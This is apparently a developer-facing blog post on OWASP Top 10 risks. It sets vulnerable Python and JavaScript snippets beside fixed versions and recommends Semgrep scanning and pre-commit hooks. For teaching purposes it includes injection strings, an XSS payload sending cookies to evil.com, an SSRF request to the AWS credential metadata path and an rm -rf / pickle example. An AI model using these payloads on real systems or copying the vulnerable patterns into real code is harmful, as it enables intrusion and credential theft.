Every August, a wave of new developers joins teams fresh out of bootcamps and CS programs. They know how to build features. They know how to ship code. But most of them have never been taught how to write code that does not hand attackers the keys to the castle. And honestly, plenty of senior developers have the same blind spots.

The OWASP Top 10 is the go-to list of the most critical web application security risks. But reading it as a PDF is one thing. Seeing the actual vulnerable code next to the fixed version is something else entirely. That is what this post is about. We are going to walk through real vulnerabilities in Python and JavaScript, show you exactly what the problem looks like in code, fix it, and then give you the tools to catch these patterns automatically before they ever reach production.

OWASP Top 10: Vulnerable Code vs. Fixed Code

For each vulnerability below, you will see the dangerous version first, followed by the secure version. The goal is to build pattern recognition so you can spot these issues during code review without needing to think about it.

1. SQL Injection (A03: Injection)

SQL injection has been around for over 25 years and it is still everywhere. The core problem is simple: user input gets concatenated directly into a SQL query, allowing attackers to modify the query logic.

Vulnerable Python code:

def get_user(username):

  query = "SELECT * FROM users WHERE username = '" + username + "'"

  cursor.execute(query)

An attacker passes ' OR '1'='1 as the username and suddenly your query returns every user in the database. Or they pass '; DROP TABLE users; -- and your table is gone.

Fixed Python code:

def get_user(username):

  query = "SELECT * FROM users WHERE username = %s"

  cursor.execute(query, (username,))

Parameterized queries keep user input separate from the query structure. The database driver handles escaping, so there is no way for input to alter the SQL logic. This is the single most important secure coding pattern you can learn.

Vulnerable JavaScript (Node.js) code:

app.get('/user', (req, res) => {

  const query = `SELECT * FROM users WHERE id = ${req.query.id}`;

  db.query(query);

});

Fixed JavaScript code:

app.get('/user', (req, res) => {

  const query = 'SELECT * FROM users WHERE id = ?';

  db.query(query, [req.query.id]);

});

2. Cross-Site Scripting / XSS (A03: Injection)

XSS happens when your application takes user input and renders it in the browser without sanitizing it first. An attacker injects a script tag, and now their JavaScript runs in the context of your users' sessions.

Vulnerable JavaScript code:

app.get('/search', (req, res) => {

  res.send(`<h1>Results for: ${req.query.q}</h1>`);

});

If someone visits /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>, that script executes in the victim's browser and sends their session cookie to the attacker.

Fixed JavaScript code:

const escapeHtml = require('escape-html');

app.get('/search', (req, res) => {

  res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);

});

Even better, use a templating engine that auto-escapes by default (like Jinja2 in Python or Handlebars in JavaScript). Manual escaping works, but relying on developers to remember it every single time is a losing strategy.

3. Broken Access Control (A01)

This is the number one risk on the OWASP Top 10 and for good reason. Broken access control means a user can access data or perform actions they should not be allowed to. The classic example is an Insecure Direct Object Reference (IDOR) where changing an ID in the URL gives you access to another user's data.

Vulnerable Python (Flask) code:

@app.route('/api/invoices/<invoice_id>')

@login_required

def get_invoice(invoice_id):

  invoice = db.invoices.find_one({"_id": invoice_id})

  return jsonify(invoice)

The user is authenticated, but there is no check that they own this invoice. Any logged-in user can view any other user's invoices by guessing or iterating through IDs.

Fixed Python code:

@app.route('/api/invoices/<invoice_id>')

@login_required

def get_invoice(invoice_id):

  invoice = db.invoices.find_one({

    "_id": invoice_id,

    "owner_id": current_user.id

  })

  if not invoice:

    abort(404)

  return jsonify(invoice)

The fix adds an ownership check directly in the database query. If the requesting user does not own the invoice, they get a 404 (not a 403, which would confirm the resource exists).

4. Server-Side Request Forgery / SSRF (A10)

SSRF is when an attacker tricks your server into making HTTP requests to internal resources. If your app fetches a URL that the user provides, an attacker can point it at your cloud metadata endpoint, internal APIs, or services behind the firewall.

Vulnerable Python code:

@app.route('/fetch')

def fetch_url():

  url = request.args.get('url')

  response = requests.get(url)

  return response.text

An attacker sends /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ and your server happily returns its own AWS IAM credentials. This is how the Capital One breach happened.

Fixed Python code:

from urllib.parse import urlparse

import ipaddress

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

@app.route('/fetch')

def fetch_url():

  url = request.args.get('url')

  parsed = urlparse(url)

  if parsed.hostname not in ALLOWED_HOSTS:

    abort(400, "Host not allowed")

  if parsed.scheme not in ('http', 'https'):

    abort(400, "Invalid scheme")

  response = requests.get(url, allow_redirects=False)

  return response.text

The key defenses: validate against an allowlist of trusted hosts, restrict to HTTP/HTTPS schemes, and disable redirects (attackers love using redirects to bypass SSRF filters). In a production environment, you would also resolve the hostname and verify the IP is not in a private range.

5. Insecure Deserialization (A08: Software and Data Integrity Failures)

Deserialization vulnerabilities happen when your application accepts serialized objects from untrusted sources. In Python, pickle is the usual suspect. It can execute arbitrary code during deserialization.

Vulnerable Python code:

import pickle

@app.route('/load-session', methods=['POST'])

def load_session():

  data = request.get_data()

  session = pickle.loads(data)

  return jsonify(session)

An attacker crafts a malicious pickle payload that executes os.system('rm -rf /') when deserialized. Game over.

Fixed Python code:

import json

@app.route('/load-session', methods=['POST'])

def load_session():

  data = request.get_data()

  session = json.loads(data)

  return jsonify(session)

The fix is simple: do not use pickle for untrusted data. Use JSON instead. JSON cannot execute code during parsing. If you absolutely need to serialize complex objects, use a format with a strict schema like Protocol Buffers or MessagePack, and validate the data after deserialization.

6. Security Misconfiguration (A05)

This one is less about code and more about what your code exposes. Debug mode in production, verbose error messages, default credentials, and unnecessary HTTP headers all fall under this category.

Vulnerable JavaScript (Express) code:

const app = express();

app.use(express.json());

// No security headers, default error pages

app.listen(3000);

Fixed JavaScript code:

const helmet = require('helmet');

const app = express();

app.use(helmet());

app.use(express.json({ limit: '10kb' }));

app.disable('x-powered-by');

app.use((err, req, res, next) => {

  console.error(err.stack);

  res.status(500).json({ error: 'Internal server error' });

});

Helmet sets a collection of security headers in one line. The custom error handler prevents stack traces from leaking to users. The JSON body limit prevents payload-based denial of service. Small changes, big impact.


Automate It: Run Semgrep on Your Codebase

Reading about vulnerabilities is useful, but manually reviewing every file in your codebase is not realistic. That is where Semgrep comes in. It is a free, open source static analysis tool that scans your code for security patterns and reports exactly where the problems are.

Install Semgrep

pip install semgrep

Or with Homebrew:

brew install semgrep

Run a security scan on your entire project

semgrep --config auto .

The --config auto flag pulls a curated set of community security rules that cover the OWASP Top 10 and more. It scans Python, JavaScript, TypeScript, Java, Go, Ruby, and dozens of other languages. The output shows you the exact file, line number, and a description of what is wrong.

Target specific vulnerability categories

semgrep --config "p/owasp-top-ten" .

semgrep --config "p/javascript" ./src

semgrep --config "p/python" ./app

You can also stack rulesets. Run the OWASP rules, the language-specific rules, and your own custom rules all in one pass.

Generate a JSON report for CI/CD integration

semgrep --config auto --json --output results.json .

Pipe this into your CI/CD pipeline. Parse the JSON. Fail the build if Semgrep finds any high-severity issues. This is how you stop vulnerable code from reaching production automatically.


Add a Pre-Commit Hook That Blocks Vulnerable Patterns

Catching vulnerabilities in CI is good. Catching them before the developer even commits is better. A pre-commit hook runs Semgrep every time someone tries to commit code. If it finds a security issue, the commit is blocked and the developer sees the problem right away.

Step 1: Install pre-commit

pip install pre-commit

Step 2: Create a .pre-commit-config.yaml file

repos:

- repo: https://github.com/semgrep/semgrep

  rev: v1.67.0

  hooks:

  - id: semgrep

    args: ['--config', 'auto', '--error']

Step 3: Install the hook

pre-commit install

Now every commit runs Semgrep on the staged files. If a developer tries to commit code with a SQL injection vulnerability, the commit fails and Semgrep tells them exactly which line has the problem and why. The feedback loop is instant. No waiting for a CI/CD pipeline to run.

One important note: the --error flag makes Semgrep return a non-zero exit code when it finds issues, which is what tells the pre-commit hook to block the commit. Without it, Semgrep reports problems but does not actually prevent anything.


10 Secure Coding Practices for Your Code Review Checklist

Pin this next to your monitor. Use it during every code review. These ten practices cover the patterns that show up in real-world breaches over and over again.

  1. Always use parameterized queries. Never concatenate user input into SQL, NoSQL, LDAP, or OS commands. If you see string concatenation anywhere near a database call, flag it immediately.
  2. Validate and sanitize all input on the server side. Client-side validation is a UX feature, not a security feature. Every input that touches your server needs validation against an expected format, length, and type.
  3. Encode output based on context. HTML context needs HTML encoding. JavaScript context needs JavaScript encoding. URL context needs URL encoding. Getting the context wrong is how XSS bypasses happen.
  4. Enforce authorization on every request. Check that the current user has permission to access the specific resource they are requesting. Authentication (who are you?) is not authorization (are you allowed to do this?).
  5. Never hardcode secrets. API keys, database passwords, tokens, and certificates belong in environment variables or a secrets manager. Not in source code. Not in config files committed to Git.
  6. Use established cryptographic libraries. Do not write your own encryption. Do not invent your own hashing algorithm. Use bcrypt or Argon2 for passwords. Use the standard TLS libraries for transport encryption. If you are reaching for md5 or sha1 for anything security-related, stop.
  7. Implement proper error handling. Catch exceptions gracefully. Return generic error messages to users. Log the detailed error information server-side where attackers cannot see it. Stack traces in production responses are a gift to attackers.
  8. Set security headers. Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, X-Frame-Options, and Referrer-Policy. Use Helmet.js for Express or Django's built-in SecurityMiddleware. These headers take five minutes to set up and block entire categories of attacks.
  9. Pin your dependencies and audit them. Run npm audit or pip-audit regularly. Pin versions in your lockfile. Review changelogs before updating. A single compromised dependency can own your entire application.
  10. Log security events. Failed login attempts, authorization failures, input validation failures, and unexpected errors should all generate log entries. You cannot detect an attack you are not logging. Make sure your logs do not contain sensitive data like passwords or tokens.

Print this list. Put it in your team's PR template. Make it part of your onboarding for new developers. The teams that take these ten practices seriously are the ones that stop showing up in breach headlines.


Making Security Part of the Team Culture

If you are onboarding new developers this fall, or if your team is growing quickly, this is the moment to set the tone. Security is not something a separate team handles after you ship. It is something your team owns from the first line of code.

Start by adding Semgrep to your pre-commit hooks today. It takes less than five minutes and it will catch the most common vulnerability patterns before they even make it into a pull request. Add the code review checklist to your PR template. Run semgrep --config auto . on your existing codebase and spend an afternoon fixing what it finds.

"The best time to fix a vulnerability is before you write it. The second best time is before you commit it. The worst time is after it is in production and someone else finds it first."

The OWASP Top 10 has not changed dramatically in years because the same mistakes keep happening. SQL injection has been a known problem since 1998. XSS since the early 2000s. The vulnerabilities are not new. The developers writing them are. Every team that takes five minutes to set up automated scanning and a code review checklist is one less team that ends up explaining a breach to their customers.

Security is not about perfection. It is about making the easy path the secure path. Parameterized queries should be the default, not the exception. Output encoding should happen automatically, not manually. And vulnerable code should be blocked at the commit level, not discovered in a penetration test six months after it shipped.